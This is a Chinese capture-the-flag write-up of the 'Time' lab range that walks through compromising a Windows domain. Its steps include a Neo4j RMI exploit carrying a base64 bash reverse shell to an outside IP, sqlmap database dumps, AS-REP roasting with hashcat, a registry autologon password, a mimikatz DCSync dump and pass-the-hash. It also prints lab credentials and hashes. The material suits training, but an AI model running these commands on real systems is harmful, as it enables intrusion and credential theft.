Time

Time是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

tag

Neo4jPrivilege ElevationKerberos域渗透

信息搜集

先用fscan扫一下机器
./fscan.exe -h 39.98.107.186 -p 1-65535 -nobr

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___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.98.107.186:22 open
39.98.107.186:1337 open
39.98.107.186:7474 open
39.98.107.186:7473 open
39.98.107.186:7687 open
39.98.107.186:41409 open
[*] alive ports len is: 6
start vulscan
已完成 1/6 [-] webtitle https://39.98.107.186:1337 Get "https://39.98.107.186:1337": EOF
[*] WebTitle http://39.98.107.186:7474 code:303 len:0 title:None 跳转url: http://39.98.107.186:7474/browser/
[*] WebTitle https://39.98.107.186:7687 code:400 len:50 title:None
[*] WebTitle http://39.98.107.186:7474/browser/ code:200 len:3279 title:Neo4j Browser
[*] WebTitle https://39.98.107.186:7473 code:303 len:0 title:None 跳转url: https://39.98.107.186:7473/browser/
[*] WebTitle https://39.98.107.186:7473/browser/ code:200 len:3279 title:Neo4j Browser
已完成 6/6
[*] 扫描结束,耗时: 4m33.9089862s

机器36

7687端口比较特别,查资料发现是Neo4j图数据库的默认端口。400错误说明可能存在未授权访问
echo "bash -i >& /dev/tcp/119.45.6.65/8888 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuNDUuNi42NS84ODg4IDA+JjE=
nc -lvvp 8888
java -jar rhino_gadget.jar rmi://39.98.107.186:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuNDUuNi42NS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
本地起个服务器,把需要下载的文件放在路径下
python3 -m http.server 80
在shell中进行下载
wget http://119.45.6.65/linux_x64_agent

./linux_x64_agent -l 44444 -s 123
./linux_x64_admin -c 39.98.107.186:44444 -s 123

成功连接,拿flag01

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neo4j@ubuntu:~$ cat flag01.txt
cat flag01.txt
██████████ ██
░░░░░██░░░ ░░
░██ ██ ██████████ █████
░██ ░██░░██░░██░░██ ██░░░██
░██ ░██ ░██ ░██ ░██░███████
░██ ░██ ░██ ░██ ░██░██░░░░
░██ ░██ ███ ░██ ░██░░██████
░░ ░░ ░░░ ░░ ░░ ░░░░░░


flag01: flag{71d59e48-f05f-43d4-8d98-3917d37ff490}

Do you know the authentication process of Kerberos?
......This will be the key to your progress.

然后用stowaway传个fscan上去
upload /home/kali/Desktop/fscan /tmp/fscan
ifconfig
./fscan -h 172.22.6.0/24

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start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.6.38 is alive
(icmp) Target 172.22.6.12 is alive
(icmp) Target 172.22.6.36 is alive
(icmp) Target 172.22.6.25 is alive
[*] Icmp alive hosts len is: 4
172.22.6.38:80 open
172.22.6.12:88 open
172.22.6.25:445 open
172.22.6.12:445 open
172.22.6.25:139 open
172.22.6.12:139 open
172.22.6.25:135 open
172.22.6.12:135 open
172.22.6.38:22 open
172.22.6.36:22 open
172.22.6.36:7687 open
[*] alive ports len is: 11
start vulscan
[*] NetInfo
[*]172.22.6.12
[->]DC-PROGAME
[->]172.22.6.12
[*] WebTitle http://172.22.6.38 code:200 len:1531 title:后台登录
[*] NetBios 172.22.6.12 [+] DC:DC-PROGAME.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.6.25 XIAORANG\WIN2019
[*] OsInfo 172.22.6.12 (Windows Server 2016 Datacenter 14393)
[*] NetInfo
[*]172.22.6.25
[->]WIN2019
[->]172.22.6.25
[*] WebTitle https://172.22.6.36:7687 code:400 len:50 title:None
已完成 11/11
[*] 扫描结束,耗时: 11.882757703s

172.22.6.12 DC域控制器
172.22.6.25
172.22.6.38
172.22.6.36 本机

机器38

访问http://172.22.6.38发现是个登录界面,bp抓包把请求包写入bp.txt后利用sqlmap进行检测
proxychains sqlmap -r bp.txt

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[09:23:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12

proxychains sqlmap -r bp.txt --os-shell
尝试直接获取shell失败
proxychains sqlmap -r bp.txt --dbs

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[*] information_schema
[*] mysql
[*] oa_db
[*] performance_schema
[*] sys

proxychains sqlmap -r bp.txt -D 'oa_db' --tables

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+------------+
| oa_admin |
| oa_f1Agggg |
| oa_users |
+------------+

proxychains sqlmap -r bp.txt -D 'oa_db' -T 'oa_f1Agggg' --dump

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+----+--------------------------------------------+
| id | flag02 |
+----+--------------------------------------------+
| 1 | flag{b142f5ce-d9b8-4b73-9012-ad75175ba029} |
+----+--------------------------------------------+

这样就获取flag02啦
proxychains sqlmap -r bp.txt --dump
当然上面的命令比较麻烦,不如直接全部导出来
然后发现很多用户

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+-----+----------------------------+-------------+-----------------+
| id | email | phone | username |
+-----+----------------------------+-------------+-----------------+
| 245 | chenyan@xiaorang.lab | 18281528743 | CHEN YAN |
| 246 | tanggui@xiaorang.lab | 18060615547 | TANG GUI |
| 247 | buning@xiaorang.lab | 13046481392 | BU NING |
| 248 | beishu@xiaorang.lab | 18268508400 | BEI SHU |
| 249 | shushi@xiaorang.lab | 17770383196 | SHU SHI |
| 250 | fuyi@xiaorang.lab | 18902082658 | FU YI |
| 251 | pangcheng@xiaorang.lab | 18823789530 | PANG CHENG |
| 252 | tonghao@xiaorang.lab | 13370873526 | TONG HAO |
| 253 | jiaoshan@xiaorang.lab | 15375905173 | JIAO SHAN |
| 254 | dulun@xiaorang.lab | 13352331157 | DU LUN |
| 255 | kejuan@xiaorang.lab | 13222550481 | KE JUAN |
| 256 | gexin@xiaorang.lab | 18181553086 | GE XIN |
| 257 | lugu@xiaorang.lab | 18793883130 | LU GU |
| 258 | guzaicheng@xiaorang.lab | 15309377043 | GU ZAI CHENG |
| 259 | feicai@xiaorang.lab | 13077435367 | FEI CAI |
| 260 | ranqun@xiaorang.lab | 18239164662 | RAN QUN |
| 261 | zhouyi@xiaorang.lab | 13169264671 | ZHOU YI |
| 262 | shishu@xiaorang.lab | 18592890189 | SHI SHU |
| 263 | yanyun@xiaorang.lab | 15071085768 | YAN YUN |
| 264 | chengqiu@xiaorang.lab | 13370162980 | CHENG QIU |
| 265 | louyou@xiaorang.lab | 13593582379 | LOU YOU |
| 266 | maqun@xiaorang.lab | 15235945624 | MA QUN |
| 267 | wenbiao@xiaorang.lab | 13620643639 | WEN BIAO |
| 268 | weishengshan@xiaorang.lab | 18670502260 | WEI SHENG SHAN |
| 269 | zhangxin@xiaorang.lab | 15763185760 | ZHANG XIN |
| 270 | chuyuan@xiaorang.lab | 18420545268 | CHU YUAN |
| 271 | wenliang@xiaorang.lab | 13601678032 | WEN LIANG |
| 272 | yulvxue@xiaorang.lab | 18304374901 | YU LV XUE |
| 273 | luyue@xiaorang.lab | 18299785575 | LU YUE |
| 274 | ganjian@xiaorang.lab | 18906111021 | GAN JIAN |
| 275 | pangzhen@xiaorang.lab | 13479328562 | PANG ZHEN |
| 276 | guohong@xiaorang.lab | 18510220597 | GUO HONG |
| 277 | lezhong@xiaorang.lab | 15320909285 | LE ZHONG |
| 278 | sheweiyue@xiaorang.lab | 13736399596 | SHE WEI YUE |
| 279 | dujian@xiaorang.lab | 15058892639 | DU JIAN |
| 280 | lidongjin@xiaorang.lab | 18447207007 | LI DONG JIN |
| 281 | hongqun@xiaorang.lab | 15858462251 | HONG QUN |
| 282 | yexing@xiaorang.lab | 13719043564 | YE XING |
| 283 | maoda@xiaorang.lab | 13878840690 | MAO DA |
| 284 | qiaomei@xiaorang.lab | 13053207462 | QIAO MEI |
| 285 | nongzhen@xiaorang.lab | 15227699960 | NONG ZHEN |
| 286 | dongshu@xiaorang.lab | 15695562947 | DONG SHU |
| 287 | zhuzhu@xiaorang.lab | 13070163385 | ZHU ZHU |
| 288 | jiyun@xiaorang.lab | 13987332999 | JI YUN |
| 289 | qiguanrou@xiaorang.lab | 15605983582 | QI GUAN ROU |
| 290 | yixue@xiaorang.lab | 18451603140 | YI XUE |
| 291 | chujun@xiaorang.lab | 15854942459 | CHU JUN |
| 292 | shenshan@xiaorang.lab | 17712052191 | SHEN SHAN |
| 293 | lefen@xiaorang.lab | 13271196544 | LE FEN |
| 294 | yubo@xiaorang.lab | 13462202742 | YU BO |
| 295 | helianrui@xiaorang.lab | 15383000907 | HE LIAN RUI |
| 296 | xuanqun@xiaorang.lab | 18843916267 | XUAN QUN |
| 297 | shangjun@xiaorang.lab | 15162486698 | SHANG JUN |
| 298 | huguang@xiaorang.lab | 18100586324 | HU GUANG |
| 299 | wansifu@xiaorang.lab | 18494761349 | WAN SI FU |
| 300 | fenghong@xiaorang.lab | 13536727314 | FENG HONG |
| 301 | wanyan@xiaorang.lab | 17890844429 | WAN YAN |
| 302 | diyan@xiaorang.lab | 18534028047 | DI YAN |
| 303 | xiangyu@xiaorang.lab | 13834043047 | XIANG YU |
| 304 | songyan@xiaorang.lab | 15282433280 | SONG YAN |
| 305 | fandi@xiaorang.lab | 15846960039 | FAN DI |
| 306 | xiangjuan@xiaorang.lab | 18120327434 | XIANG JUAN |
| 307 | beirui@xiaorang.lab | 18908661803 | BEI RUI |
| 308 | didi@xiaorang.lab | 13413041463 | DI DI |
| 309 | zhubin@xiaorang.lab | 15909558554 | ZHU BIN |
| 310 | lingchun@xiaorang.lab | 13022790678 | LING CHUN |
| 311 | zhenglu@xiaorang.lab | 13248244873 | ZHENG LU |
| 312 | xundi@xiaorang.lab | 18358493414 | XUN DI |
| 313 | wansishun@xiaorang.lab | 18985028319 | WAN SI SHUN |
| 314 | yezongyue@xiaorang.lab | 13866302416 | YE ZONG YUE |
| 315 | bianmei@xiaorang.lab | 18540879992 | BIAN MEI |
| 316 | shanshao@xiaorang.lab | 18791488918 | SHAN SHAO |
| 317 | zhenhui@xiaorang.lab | 13736784817 | ZHEN HUI |
| 318 | chengli@xiaorang.lab | 15913267394 | CHENG LI |
| 319 | yufen@xiaorang.lab | 18432795588 | YU FEN |
| 320 | jiyi@xiaorang.lab | 13574211454 | JI YI |
| 321 | panbao@xiaorang.lab | 13675851303 | PAN BAO |
| 322 | mennane@xiaorang.lab | 15629706208 | MEN NAN E |
| 323 | fengsi@xiaorang.lab | 13333432577 | FENG SI |
| 324 | mingyan@xiaorang.lab | 18296909463 | MING YAN |
| 325 | luoyou@xiaorang.lab | 15759321415 | LUO YOU |
| 326 | liangduanqing@xiaorang.lab | 13150744785 | LIANG DUAN QING |
| 327 | nongyan@xiaorang.lab | 18097386975 | NONG YAN |
| 328 | haolun@xiaorang.lab | 15152700465 | HAO LUN |
| 329 | oulun@xiaorang.lab | 13402760696 | OU LUN |
| 330 | weichipeng@xiaorang.lab | 18057058937 | WEI CHI PENG |
| 331 | qidiaofang@xiaorang.lab | 18728297829 | QI DIAO FANG |
| 332 | xuehe@xiaorang.lab | 13398862169 | XUE HE |
| 333 | chensi@xiaorang.lab | 18030178713 | CHEN SI |
| 334 | guihui@xiaorang.lab | 17882514129 | GUI HUI |
| 335 | fuyue@xiaorang.lab | 18298436549 | FU YUE |
| 336 | wangxing@xiaorang.lab | 17763645267 | WANG XING |
| 337 | zhengxiao@xiaorang.lab | 18673968392 | ZHENG XIAO |
| 338 | guhui@xiaorang.lab | 15166711352 | GU HUI |
| 339 | baoai@xiaorang.lab | 15837430827 | BAO AI |
| 340 | hangzhao@xiaorang.lab | 13235488232 | HANG ZHAO |
| 341 | xingye@xiaorang.lab | 13367587521 | XING YE |
| 342 | qianyi@xiaorang.lab | 18657807767 | QIAN YI |
| 343 | xionghong@xiaorang.lab | 17725874584 | XIONG HONG |
| 344 | zouqi@xiaorang.lab | 15300430128 | ZOU QI |
| 345 | rongbiao@xiaorang.lab | 13034242682 | RONG BIAO |
| 346 | gongxin@xiaorang.lab | 15595839880 | GONG XIN |
| 347 | luxing@xiaorang.lab | 18318675030 | LU XING |
| 348 | huayan@xiaorang.lab | 13011805354 | HUA YAN |
| 349 | duyue@xiaorang.lab | 15515878208 | DU YUE |
| 350 | xijun@xiaorang.lab | 17871583183 | XI JUN |
| 351 | daiqing@xiaorang.lab | 18033226216 | DAI QING |
| 352 | yingbiao@xiaorang.lab | 18633421863 | YING BIAO |
| 353 | hengteng@xiaorang.lab | 15956780740 | HENG TENG |
| 354 | changwu@xiaorang.lab | 15251485251 | CHANG WU |
| 355 | chengying@xiaorang.lab | 18788248715 | CHENG YING |
| 356 | luhong@xiaorang.lab | 17766091079 | LU HONG |
| 357 | tongxue@xiaorang.lab | 18466102780 | TONG XUE |
| 358 | xiangqian@xiaorang.lab | 13279611385 | XIANG QIAN |
| 359 | shaokang@xiaorang.lab | 18042645434 | SHAO KANG |
| 360 | nongzhu@xiaorang.lab | 13934236634 | NONG ZHU |
| 361 | haomei@xiaorang.lab | 13406913218 | HAO MEI |
| 362 | maoqing@xiaorang.lab | 15713298425 | MAO QING |
| 363 | xiai@xiaorang.lab | 18148404789 | XI AI |
| 364 | bihe@xiaorang.lab | 13628593791 | BI HE |
| 365 | gaoli@xiaorang.lab | 15814408188 | GAO LI |
| 366 | jianggong@xiaorang.lab | 15951118926 | JIANG GONG |
| 367 | pangning@xiaorang.lab | 13443921700 | PANG NING |
| 368 | ruishi@xiaorang.lab | 15803112819 | RUI SHI |
| 369 | wuhuan@xiaorang.lab | 13646953078 | WU HUAN |
| 370 | qiaode@xiaorang.lab | 13543564200 | QIAO DE |
| 371 | mayong@xiaorang.lab | 15622971484 | MA YONG |
| 372 | hangda@xiaorang.lab | 15937701659 | HANG DA |
| 373 | changlu@xiaorang.lab | 13734991654 | CHANG LU |
| 374 | liuyuan@xiaorang.lab | 15862054540 | LIU YUAN |
| 375 | chenggu@xiaorang.lab | 15706685526 | CHENG GU |
| 376 | shentuyun@xiaorang.lab | 15816902379 | SHEN TU YUN |
| 377 | zhuangsong@xiaorang.lab | 17810274262 | ZHUANG SONG |
| 378 | chushao@xiaorang.lab | 18822001640 | CHU SHAO |
| 379 | heli@xiaorang.lab | 13701347081 | HE LI |
| 380 | haoming@xiaorang.lab | 15049615282 | HAO MING |
| 381 | xieyi@xiaorang.lab | 17840660107 | XIE YI |
| 382 | shangjie@xiaorang.lab | 15025010410 | SHANG JIE |
| 383 | situxin@xiaorang.lab | 18999728941 | SI TU XIN |
| 384 | linxi@xiaorang.lab | 18052976097 | LIN XI |
| 385 | zoufu@xiaorang.lab | 15264535633 | ZOU FU |
| 386 | qianqing@xiaorang.lab | 18668594658 | QIAN QING |
| 387 | qiai@xiaorang.lab | 18154690198 | QI AI |
| 388 | ruilin@xiaorang.lab | 13654483014 | RUI LIN |
| 389 | luomeng@xiaorang.lab | 15867095032 | LUO MENG |
| 390 | huaren@xiaorang.lab | 13307653720 | HUA REN |
| 391 | yanyangmei@xiaorang.lab | 15514015453 | YAN YANG MEI |
| 392 | zuofen@xiaorang.lab | 15937087078 | ZUO FEN |
| 393 | manyuan@xiaorang.lab | 18316106061 | MAN YUAN |
| 394 | yuhui@xiaorang.lab | 18058257228 | YU HUI |
| 395 | sunli@xiaorang.lab | 18233801124 | SUN LI |
| 396 | guansixin@xiaorang.lab | 13607387740 | GUAN SI XIN |
| 397 | ruisong@xiaorang.lab | 13306021674 | RUI SONG |
| 398 | qiruo@xiaorang.lab | 13257810331 | QI RUO |
| 399 | jinyu@xiaorang.lab | 18565922652 | JIN YU |
| 400 | shoujuan@xiaorang.lab | 18512174415 | SHOU JUAN |
| 401 | yanqian@xiaorang.lab | 13799789435 | YAN QIAN |
| 402 | changyun@xiaorang.lab | 18925015029 | CHANG YUN |
| 403 | hualu@xiaorang.lab | 13641470801 | HUA LU |
| 404 | huanming@xiaorang.lab | 15903282860 | HUAN MING |
| 405 | baoshao@xiaorang.lab | 13795275611 | BAO SHAO |
| 406 | hongmei@xiaorang.lab | 13243605925 | HONG MEI |
| 407 | manyun@xiaorang.lab | 13238107359 | MAN YUN |
| 408 | changwan@xiaorang.lab | 13642205622 | CHANG WAN |
| 409 | wangyan@xiaorang.lab | 13242486231 | WANG YAN |
| 410 | shijian@xiaorang.lab | 15515077573 | SHI JIAN |
| 411 | ruibei@xiaorang.lab | 18157706586 | RUI BEI |
| 412 | jingshao@xiaorang.lab | 18858376544 | JING SHAO |
| 413 | jinzhi@xiaorang.lab | 18902437082 | JIN ZHI |
| 414 | yuhui@xiaorang.lab | 15215599294 | YU HUI |
| 415 | zangpeng@xiaorang.lab | 18567574150 | ZANG PENG |
| 416 | changyun@xiaorang.lab | 15804640736 | CHANG YUN |
| 417 | yetai@xiaorang.lab | 13400150018 | YE TAI |
| 418 | luoxue@xiaorang.lab | 18962643265 | LUO XUE |
| 419 | moqian@xiaorang.lab | 18042706956 | MO QIAN |
| 420 | xupeng@xiaorang.lab | 15881934759 | XU PENG |
| 421 | ruanyong@xiaorang.lab | 15049703903 | RUAN YONG |
| 422 | guliangxian@xiaorang.lab | 18674282714 | GU LIANG XIAN |
| 423 | yinbin@xiaorang.lab | 15734030492 | YIN BIN |
| 424 | huarui@xiaorang.lab | 17699257041 | HUA RUI |
| 425 | niuya@xiaorang.lab | 13915041589 | NIU YA |
| 426 | guwei@xiaorang.lab | 13584571917 | GU WEI |
| 427 | qinguan@xiaorang.lab | 18427953434 | QIN GUAN |
| 428 | yangdanhan@xiaorang.lab | 15215900100 | YANG DAN HAN |
| 429 | yingjun@xiaorang.lab | 13383367818 | YING JUN |
| 430 | weiwan@xiaorang.lab | 13132069353 | WEI WAN |
| 431 | sunduangu@xiaorang.lab | 15737981701 | SUN DUAN GU |
| 432 | sisiwu@xiaorang.lab | 18021600640 | SI SI WU |
| 433 | nongyan@xiaorang.lab | 13312613990 | NONG YAN |
| 434 | xuanlu@xiaorang.lab | 13005748230 | XUAN LU |
| 435 | yunzhong@xiaorang.lab | 15326746780 | YUN ZHONG |
| 436 | gengfei@xiaorang.lab | 13905027813 | GENG FEI |
| 437 | zizhuansong@xiaorang.lab | 13159301262 | ZI ZHUAN SONG |
| 438 | ganbailong@xiaorang.lab | 18353612904 | GAN BAI LONG |
| 439 | shenjiao@xiaorang.lab | 15164719751 | SHEN JIAO |
| 440 | zangyao@xiaorang.lab | 18707028470 | ZANG YAO |
| 441 | yangdanhe@xiaorang.lab | 18684281105 | YANG DAN HE |
| 442 | chengliang@xiaorang.lab | 13314617161 | CHENG LIANG |
| 443 | xudi@xiaorang.lab | 18498838233 | XU DI |
| 444 | wulun@xiaorang.lab | 18350490780 | WU LUN |
| 445 | yuling@xiaorang.lab | 18835870616 | YU LING |
| 446 | taoya@xiaorang.lab | 18494928860 | TAO YA |
| 447 | jinle@xiaorang.lab | 15329208123 | JIN LE |
| 448 | youchao@xiaorang.lab | 13332964189 | YOU CHAO |
| 449 | liangduanzhi@xiaorang.lab | 15675237494 | LIANG DUAN ZHI |
| 450 | jiagupiao@xiaorang.lab | 17884962455 | JIA GU PIAO |
| 451 | ganze@xiaorang.lab | 17753508925 | GAN ZE |
| 452 | jiangqing@xiaorang.lab | 15802357200 | JIANG QING |
| 453 | jinshan@xiaorang.lab | 13831466303 | JIN SHAN |
| 454 | zhengpubei@xiaorang.lab | 13690156563 | ZHENG PU BEI |
| 455 | cuicheng@xiaorang.lab | 17641589842 | CUI CHENG |
| 456 | qiyong@xiaorang.lab | 13485427829 | QI YONG |
| 457 | qizhu@xiaorang.lab | 18838859844 | QI ZHU |
| 458 | ganjian@xiaorang.lab | 18092585003 | GAN JIAN |
| 459 | yurui@xiaorang.lab | 15764121637 | YU RUI |
| 460 | feishu@xiaorang.lab | 18471512248 | FEI SHU |
| 461 | chenxin@xiaorang.lab | 13906545512 | CHEN XIN |
| 462 | shengzhe@xiaorang.lab | 18936457394 | SHENG ZHE |
| 463 | wohong@xiaorang.lab | 18404022650 | WO HONG |
| 464 | manzhi@xiaorang.lab | 15973350408 | MAN ZHI |
| 465 | xiangdong@xiaorang.lab | 13233908989 | XIANG DONG |
| 466 | weihui@xiaorang.lab | 15035834945 | WEI HUI |
| 467 | xingquan@xiaorang.lab | 18304752969 | XING QUAN |
| 468 | miaoshu@xiaorang.lab | 15121570939 | MIAO SHU |
| 469 | gongwan@xiaorang.lab | 18233990398 | GONG WAN |
| 470 | qijie@xiaorang.lab | 15631483536 | QI JIE |
| 471 | shaoting@xiaorang.lab | 15971628914 | SHAO TING |
| 472 | xiqi@xiaorang.lab | 18938747522 | XI QI |
| 473 | jinghong@xiaorang.lab | 18168293686 | JING HONG |
| 474 | qianyou@xiaorang.lab | 18841322688 | QIAN YOU |
| 475 | chuhua@xiaorang.lab | 15819380754 | CHU HUA |
| 476 | yanyue@xiaorang.lab | 18702474361 | YAN YUE |
| 477 | huangjia@xiaorang.lab | 13006878166 | HUANG JIA |
| 478 | zhouchun@xiaorang.lab | 13545820679 | ZHOU CHUN |
| 479 | jiyu@xiaorang.lab | 18650881187 | JI YU |
| 480 | wendong@xiaorang.lab | 17815264093 | WEN DONG |
| 481 | heyuan@xiaorang.lab | 18710821773 | HE YUAN |
| 482 | mazhen@xiaorang.lab | 18698248638 | MA ZHEN |
| 483 | shouchun@xiaorang.lab | 15241369178 | SHOU CHUN |
| 484 | liuzhe@xiaorang.lab | 18530936084 | LIU ZHE |
| 485 | fengbo@xiaorang.lab | 15812110254 | FENG BO |
| 486 | taigongyuan@xiaorang.lab | 15943349034 | TAI GONG YUAN |
| 487 | gesheng@xiaorang.lab | 18278508909 | GE SHENG |
| 488 | songming@xiaorang.lab | 13220512663 | SONG MING |
| 489 | yuwan@xiaorang.lab | 15505678035 | YU WAN |
| 490 | diaowei@xiaorang.lab | 13052582975 | DIAO WEI |
| 491 | youyi@xiaorang.lab | 18036808394 | YOU YI |
| 492 | rongxianyu@xiaorang.lab | 18839918955 | RONG XIAN YU |
| 493 | fuyi@xiaorang.lab | 15632151678 | FU YI |
| 494 | linli@xiaorang.lab | 17883399275 | LIN LI |
| 495 | weixue@xiaorang.lab | 18672465853 | WEI XUE |
| 496 | hejuan@xiaorang.lab | 13256081102 | HE JUAN |
| 497 | zuoqiutai@xiaorang.lab | 18093001354 | ZUO QIU TAI |
| 498 | siyi@xiaorang.lab | 17873307773 | SI YI |
| 499 | shenshan@xiaorang.lab | 18397560369 | SHEN SHAN |
| 500 | tongdong@xiaorang.lab | 15177549595 | TONG DONG |
+-----+----------------------------+-------------+-----------------+

这里的的email就很像是域用户,写个脚本把用户名提取出来保存为2.txt

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import re

# 读取源文件内容
with open('1.txt', 'r') as file:
content = file.read()

# 使用正则表达式匹配所有目标邮箱并提取用户名
matches = re.findall(r'(\w+)@xiaorang\.lab', content)

# 去重并保持原始顺序
unique_matches = []
for match in matches:
if match not in unique_matches:
unique_matches.append(match)

# 将结果写入新文件(每个用户名占一行)
with open('2.txt', 'w') as output_file:
output_file.write('\n'.join(unique_matches))

print(f"成功提取 {len(unique_matches)} 个用户名到 2.txt")

GetNPUsers.py是Impacket工具包中的一个脚本,该脚本实现了将尝试为那些设置了属性“不需要Kerberos预身份验证”的用户获取TGT输出。TGT hash 包含用户密码,获取到之后直接用 JTR 或者 hashcat 破解即可。
proxychains impacket-GetNPUsers -dc-ip 172.22.6.12 -usersfile 2.txt xiaorang.lab/
发现这样一条,存到hash.txt用hashcat爆破一下

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$krb5asrep$23$zhangxin@XIAORANG.LAB:33b29a5e607fe08df10fe058fd413199$d3cbf653d743ffcf112d47747866ff69a70a99c4276c84731321e667d1ceb5b6ecb3273370f19567af0f53819c46e954f9572d079f7587afdb708077cc508aed3d66846a3f23ffa30c4cdf42edbe6038d91f44c00650fa3427bb1833f830a1273f1e183255aadfc9ce75b01e202f350138e6cda90d3ab32a292e884fbe9a16c2e4caa4b6a42195d426694c79e63a443487b88f26f4629f3ff4d6dbe59201878f572878dab5472edf8410bac550ea3968a490c35c643a2b320845f5a30028fc86ec50794f124422dc2d709a85b5b249360b7d340781b861dcf506b26dd5804cd704d54bf4e316bc9f7bc747f0

-m 18200: Kerberos 5, etype 23, AS-REP (Authentication Service Reply)
含义: 这种模式用于破解从 Kerberos 认证服务响应 (Authentication Service Reply, AS-REP) 中提取的哈希值。
来源: 在用户进行 Kerberos 认证的第一阶段,当用户(客户端)向 KDC 发送 AS-REQ 请求(包含用户名)时,如果该用户账户配置了 “Do not require Kerberos preauthentication” (禁用预认证),KDC 会直接返回一个 AS-REP 响应包。这个响应包包含的部分是使用从用户密码派生的密钥加密的。
包含内容: 该哈希代表的是用于加密 AS-REP 响应中特定部分的密钥。这个密钥是从用户账户的密码派生的。
攻击目标: 成功破解此哈希意味着获取了用户账户的密码。这是获取域用户凭据的一种方式,但前提是该用户账户必须禁用了预认证(这通常被认为是不安全的配置)。
典型 Hashcat 哈希格式:
$krb5asrep$23$UserAccountName@REALM:HexEncodedPart1$HexEncodedPart2
$krb5asrep$:标识是 AS-REP 哈希。
23:表示加密类型为 rc4-hmac (etype 23)。
UserAccountName@REALM:禁用预认证的用户账户名和域名。
HexEncodedPart1 / HexEncodedPart2:从 AS-REP 响应中提取的十六进制数据块。

hashcat -a 0 -m 18200 --force hash.txt /usr/share/wordlists/rockyou.txt
成功爆出来结果为

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$krb5asrep$23$zhangxin@XIAORANG.LAB:33b29a5e607fe08df10fe058fd413199$d3cbf653d743ffcf112d47747866ff69a70a99c4276c84731321e667d1ceb5b6ecb3273370f19567af0f53819c46e954f9572d079f7587afdb708077cc508aed3d66846a3f23ffa30c4cdf42edbe6038d91f44c00650fa3427bb1833f830a1273f1e183255aadfc9ce75b01e202f350138e6cda90d3ab32a292e884fbe9a16c2e4caa4b6a42195d426694c79e63a443487b88f26f4629f3ff4d6dbe59201878f572878dab5472edf8410bac550ea3968a490c35c643a2b320845f5a30028fc86ec50794f124422dc2d709a85b5b249360b7d340781b861dcf506b26dd5804cd704d54bf4e316bc9f7bc747f0:strawberry

也就是zhangxin@XIAORANG.LAB:strawberry

机器25

在windows配个代理(proxifier)
./linux_x64_agent -l 44445 -s 123
./windows_x64_admin.exe -c 39.98.107.186:44445 -s 123
然后远程桌面直接连,这里利用bloodhound看一下域里面的结构
先把SharpHound.exe传到内网机中,然后
SharpHound.exe -c all
然后成功获取zip文件,拉下来
然后在kali中启动bloodhound

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neo4j start 
bloodhound

将zip文件导入bloodhound中

发现yuxuan 用户滥用了SID历史功能(SIDHistory是一个为支持域迁移方案而设置的属性,当一个对象从一个域迁移到另一个域时,会在新域创建一个新的SID作为该对象的objectSid,在之前域中的SID会添加到该对象的sIDHistory属性中,此时该对象将保留在原来域的SID对应的访问权限)
查看一下用户

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C:\Users\zhangxin>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DisableBackButton REG_DWORD 0x1
EnableSIHostIntegration REG_DWORD 0x1
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
ShellCritical REG_DWORD 0x0
ShellInfrastructure REG_SZ sihost.exe
SiHostCritical REG_DWORD 0x0
SiHostReadyTimeOut REG_DWORD 0x0
SiHostRestartCountLimit REG_DWORD 0x0
SiHostRestartTimeGap REG_DWORD 0x0
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled REG_SZ 0
ShellAppRuntime REG_SZ ShellAppRuntime.exe
scremoveoption REG_SZ 0
DisableCAD REG_DWORD 0x1
LastLogOffEndTimePerfCounter REG_QWORD 0x211ad923e0
ShutdownFlags REG_DWORD 0x80000027
AutoLogonSID REG_SZ S-1-5-21-3623938633-4064111800-2925858365-1180
LastUsedUsername REG_SZ yuxuan
AutoAdminLogon REG_SZ 1
DefaultUserName REG_SZ yuxuan
DefaultPassword REG_SZ Yuxuan7QbrgZ3L
DefaultDomainName REG_SZ xiaorang.lab

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserDefaults
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey

找到yuxuan用户的密码
用yuxuan/Yuxuan7QbrgZ3L重连RDP
因为我们保留域管理员的访问权限了,所以直接dump哈希
用mimikatz.exe导出一下哈希
lsadump::dcsync /domain:xiaorang.lab /all /csv
找到administrator的哈希,刚好25这台机器已经在域中,并且bloodhound中还显示其administrator账号为域的member,就相当于拿下了域控

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500 Administrator 04d93ffd6f5f6e4490e0de23f240a5e9 512 

所以可以直接进行PTH拿25机器的高权限flag03
